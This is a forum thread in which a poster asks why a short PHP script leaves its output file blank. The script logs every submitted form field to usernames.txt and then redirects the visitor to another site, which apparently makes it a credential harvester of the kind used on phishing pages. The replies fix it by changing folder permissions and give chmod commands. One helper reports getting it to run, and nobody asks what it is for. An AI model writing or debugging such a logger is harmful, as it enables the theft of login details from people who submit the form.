everything is working besides this the file is made as username.txt and when i go to view it it is all blank here is the php below i hope someone can help

header ('Location: www.memberspalacez.com');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");

8 Years
Discussion Span
Last Post by damnpoet

This is a permissions problem. Make sure that the folder that this script is running in has its permissions set to be written in.

My 2ยข. Hope this helps.

Edited by Wraithmanilian: Ambiguous sentence. :)


try chmod +w file.php

The file can write, it's the folder that needs the permissions change. The php file doesn't need to be written into, it needs to be able to "create" a new file in the folder and be able to write in that file.

There are some instances where permissions need to be changed in php files, but in this particular case, the issue that they're having is based on the permissions of the folder. By changing permissions on my test server, I got the script to run.


yep sorry, i thought they were trying to write into an existing file, my bad, then:

chmod +w folder/

Edited by damnpoet: n/a

This topic has been dead for over six months. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.